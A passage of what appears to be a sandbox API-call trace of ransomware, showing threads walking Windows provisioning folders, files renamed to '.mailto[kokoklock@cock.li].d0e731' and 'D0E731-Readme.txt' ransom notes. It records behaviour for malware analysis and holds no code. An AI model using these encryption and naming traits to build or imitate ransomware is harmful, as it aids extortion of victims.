users\\microsoft\\provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\prov\\runtime.xml.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0176.314] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\Prov\\RunTime.xml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0176.315] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x305c8f0) returned 1 [0176.315] RtlExitUserThread (Status=0x0) Thread: id = 2468 os_tid = 0xef4 [0176.316] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xc0) returned 0x2fa7c48 [0176.316] wcscpy (in: _Dest=0x2fa7c48, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\Prov\\RunTime" [0176.316] wcscat (in: _Dest=0x2fa7c48, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\Prov\\RunTime\\" [0176.316] wcscat (in: _Dest=0x2fa7c48, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\Prov\\RunTime\\*") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\Prov\\RunTime\\*" [0176.316] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x250) returned 0x3020f10 [0176.316] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\Prov\\RunTime\\*", lpFindFileData=0x3020f10 | out: lpFindFileData=0x3020f10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d21de20, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x8cac4dc0, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8cac4dc0, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2f805a0 [0176.316] wcscmp (_String1=".", _String2=".") returned 0 [0176.316] FindNextFileW (in: hFindFile=0x2f805a0, lpFindFileData=0x3020f10 | out: lpFindFileData=0x3020f10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d21de20, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x8cac4dc0, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8cac4dc0, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0176.316] wcscmp (_String1="..", _String2=".") returned 1 [0176.316] wcscmp (_String1="..", _String2="..") returned 0 [0176.316] FindNextFileW (in: hFindFile=0x2f805a0, lpFindFileData=0x3020f10 | out: lpFindFileData=0x3020f10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x54060701, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x54060701, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x8cac4dc0, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0xd9d, dwReserved0=0x0, dwReserved1=0x0, cFileName="0__Power_Policy.provxml.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="")) returned 1 [0176.316] wcscmp (_String1="0__Power_Policy.provxml.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0176.316] wcscmp (_String1="0__Power_Policy.provxml.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0176.316] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x12e) returned 0x2fe1788 [0176.316] wcscpy (in: _Dest=0x2fe1788, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\Prov\\RunTime" [0176.316] wcscat (in: _Dest=0x2fe1788, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\Prov\\RunTime\\" [0176.316] wcscat (in: _Dest=0x2fe1788, _Source="0__Power_Policy.provxml.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\Prov\\RunTime\\0__Power_Policy.provxml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\Prov\\RunTime\\0__Power_Policy.provxml.mailto[kokoklock@cock.li].d0e731" [0176.719] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2fe1788, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4e4 [0176.719] FindNextFileW (in: hFindFile=0x2f805a0, lpFindFileData=0x3020f10 | out: lpFindFileData=0x3020f10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8cac4dc0, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x8cac4dc0, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8cac4dc0, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x481, dwReserved0=0x0, dwReserved1=0x0, cFileName="D0E731-Readme.txt", cAlternateFileName="D0E731~1.TXT")) returned 1 [0176.719] wcscmp (_String1="D0E731-Readme.txt", _String2=".") returned 1 [0176.719] wcscmp (_String1="D0E731-Readme.txt", _String2="..") returned 1 [0176.719] FindNextFileW (in: hFindFile=0x2f805a0, lpFindFileData=0x3020f10 | out: lpFindFileData=0x3020f10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8cac4dc0, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x8cac4dc0, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8cac4dc0, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x481, dwReserved0=0x0, dwReserved1=0x0, cFileName="D0E731-Readme.txt", cAlternateFileName="D0E731~1.TXT")) returned 0 [0176.719] FindClose (in: hFindFile=0x2f805a0 | out: hFindFile=0x2f805a0) returned 1 [0176.719] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3020f10) returned 1 [0176.719] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fa7c48) returned 1 [0176.719] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fa73b0) returned 1 [0176.719] RtlExitUserThread (Status=0x0) Thread: id = 2469 os_tid = 0xef8 [0176.318] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\Prov\\RunTime.xml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\prov\\runtime.xml.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0176.318] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\Prov\\RunTime.xml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0176.318] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\Prov\\RunTime.xml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\prov\\runtime.xml.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0176.318] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\Prov\\RunTime.xml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0176.318] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x305ca08) returned 1 [0176.318] RtlExitUserThread (Status=0x0) Thread: id = 2470 os_tid = 0xefc [0176.319] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xc0) returned 0x2fa7d10 [0176.319] wcscpy (in: _Dest=0x2fa7d10, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\Prov\\RunTime" [0176.319] wcscat (in: _Dest=0x2fa7d10, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\Prov\\RunTime\\" [0176.319] wcscat (in: _Dest=0x2fa7d10, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\Prov\\RunTime\\*") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\Prov\\RunTime\\*" [0176.319] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x250) returned 0x3021178 [0176.319] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\Prov\\RunTime\\*", lpFindFileData=0x3021178 | out: lpFindFileData=0x3021178*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d26a2f7, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x8caeade6, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8caeade6, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2f805e0 [0176.320] wcscmp (_String1=".", _String2=".") returned 0 [0176.320] FindNextFileW (in: hFindFile=0x2f805e0, lpFindFileData=0x3021178 | out: lpFindFileData=0x3021178*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d26a2f7, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x8caeade6, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8caeade6, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0176.320] wcscmp (_String1="..", _String2=".") returned 1 [0176.320] wcscmp (_String1="..", _String2="..") returned 0 [0176.320] FindNextFileW (in: hFindFile=0x2f805e0, lpFindFileData=0x3021178 | out: lpFindFileData=0x3021178*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53dc2e6f, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53dc2e6f, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x8caeade6, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x467, dwReserved0=0x0, dwReserved1=0x0, cFileName="0__Power_Policy.provxml.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="")) returned 1 [0176.320] wcscmp (_String1="0__Power_Policy.provxml.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0176.320] wcscmp (_String1="0__Power_Policy.provxml.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0176.320] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x12e) returned 0x2fe18c0 [0176.320] wcscpy (in: _Dest=0x2fe18c0, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\Prov\\RunTime" [0176.320] wcscat (in: _Dest=0x2fe18c0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\Prov\\RunTime\\" [0176.320] wcscat (in: _Dest=0x2fe18c0, _Source="0__Power_Policy.provxml.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\Prov\\RunTime\\0__Power_Policy.provxml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\Prov\\RunTime\\0__Power_Policy.provxml.mailto[kokoklock@cock.li].d0e731" [0176.717] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2fe18c0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4e0 [0176.717] FindNextFileW (in: hFindFile=0x2f805e0, lpFindFileData=0x3021178 | out: lpFindFileData=0x3021178*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8caeade6, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x8caeade6, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8caeade6, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x481, dwReserved0=0x0, dwReserved1=0x0, cFileName="D0E731-Readme.txt", cAlternateFileName="D0E731~1.TXT")) returned 1 [0176.717] wcscmp (_String1="D0E731-Readme.txt", _String2=".") returned 1 [0176.717] wcscmp (_String1="D0E731-Readme.txt", _String2="..") returned 1 [0176.717] FindNextFileW (in: hFindFile=0x2f805e0, lpFindFileData=0x3021178 | out: lpFindFileData=0x3021178*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8caeade6, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x8caeade6, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8caeade6, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x481, dwReserved0=0x0, dwReserved1=0x0, cFileName="D0E731-Readme.txt", cAlternateFileName="D0E731~1.TXT")) returned 0 [0176.717] FindClose (in: hFindFile=0x2f805e0 | out: hFindFile=0x2f805e0) returned 1 [0176.718] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3021178) returned 1 [0176.718] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fa7d10) returned 1 [0176.718] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fa7ab8) returned 1 [0176.718] RtlExitUserThread (Status=0x0) Thread: id = 2471 os_tid = 0xea8 [0176.321] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\Prov\\RunTime.xml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\prov\\runtime.xml.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0176.321] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\Prov\\RunTime.xml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0176.321] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\Prov\\RunTime.xml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\prov\\runtime.xml.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0176.321] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\Prov\\RunTime.xml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0176.321] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x305ce68) returned 1 [0176.321] RtlExitUserThread (Status=0x0) Thread: id = 2472 os_tid = 0x5fc [0176.322] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xc0) returned 0x2fa7dd8 [0176.322] wcscpy (in: _Dest=0x2fa7dd8, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\Prov\\RunTime" [0176.322] wcscat (in: _Dest=0x2fa7dd8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\Prov\\RunTime\\" [0176.322] wcscat (in: _Dest=0x2fa7dd8, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\Prov\\RunTime\\*") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\Prov\\RunTime\\*" [0176.322] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x250) returned 0x30213e0 [0176.322] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\Prov\\RunTime\\*", lpFindFileData=0x30213e0 | out: lpFindFileData=0x30213e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d21de20, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x8cb11022, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8cb11022, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2f80620 [0176.323] wcscmp (_String1=".", _String2=".") returned 0 [0176.323] FindNextFileW (in: hFindFile=0x2f80620, lpFindFileData=0x30213e0 | out: lpFindFileData=0x30213e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d21de20, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x8cb11022, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8cb11022, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0176.323] wcscmp (_String1="..", _String2=".") returned 1 [0176.323] wcscmp (_String1="..", _String2="..") returned 0 [0176.323] FindNextFileW (in: hFindFile=0x2f80620, lpFindFileData=0x30213e0 | out: lpFindFileData=0x30213e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53eab83a, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53eab83a, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x8cb11022, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x420, dwReserved0=0x0, dwReserved1=0x0, cFileName="0__Power_Policy.provxml.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="")) returned 1 [0176.323] wcscmp (_String1="0__Power_Policy.provxml.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0176.323] wcscmp (_String1="0__Power_Policy.provxml.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0176.323] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x12e) returned 0x2fe19f8 [0176.323] wcscpy (in: _Dest=0x2fe19f8, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\Prov\\RunTime" [0176.323] wcscat (in: _Dest=0x2fe19f8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\Prov\\RunTime\\" [0176.323] wcscat (in: _Dest=0x2fe19f8, _Source="0__Power_Policy.provxml.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\Prov\\RunTime\\0__Power_Policy.provxml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\Prov\\RunTime\\0__Power_Policy.provxml.mailto[kokoklock@cock.li].d0e731" [0176.715] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2fe19f8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x618 [0176.716] FindNextFileW (in: hFindFile=0x2f80620, lpFindFileData=0x30213e0 | out: lpFindFileData=0x30213e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8cb11022, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x8cb11022, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8cb372e8, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x481, dwReserved0=0x0, dwReserved1=0x0, cFileName="D0E731-Readme.txt", cAlternateFileName="D0E731~1.TXT")) returned 1 [0176.716] wcscmp (_String1="D0E731-Readme.txt", _String2=".") returned 1 [0176.716] wcscmp (_String1="D0E731-Readme.txt", _String2="..") returned 1 [0176.716] FindNextFileW (in: hFindFile=0x2f80620, lpFindFileData=0x30213e0 | out: lpFindFileData=0x30213e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8cb11022, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x8cb11022, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8cb372e8, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x481, dwReserved0=0x0, dwReserved1=0x0, cFileName="D0E731-Readme.txt", cAlternateFileName="D0E731~1.TXT")) returned 0 [0176.716] FindClose (in: hFindFile=0x2f80620 | out: hFindFile=0x2f80620) returned 1 [0176.716] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x30213e0) returned 1 [0176.716] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fa7dd8) returned 1 [0176.716] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x4f0afa8) returned 1 [0176.716] RtlExitUserThread (Status=0x0) Thread: id = 2473 os_tid = 0x13ac [0176.323] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\Prov\\RunTime.xml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\prov\\runtime.xml.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0176.324] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\Prov\\RunTime.xml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0176.324] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\Prov\\RunTime.xml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\prov\\runtime.xml.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0176.324] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\Prov\\RunTime.xml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0176.324] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x305cb20) returned 1 [0176.324] RtlExitUserThread (Status=0x0) Thread: id = 2474 os_tid = 0x13b0 [0176.325] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xc0) returned 0x2fa7ea0 [0176.325] wcscpy (in: _Dest=0x2fa7ea0, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\Prov\\RunTime" [0176.325] wcscat (in: _Dest=0x2fa7ea0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\Prov\\RunTime\\" [0176.325] wcscat (in: _Dest=0x2fa7ea0, 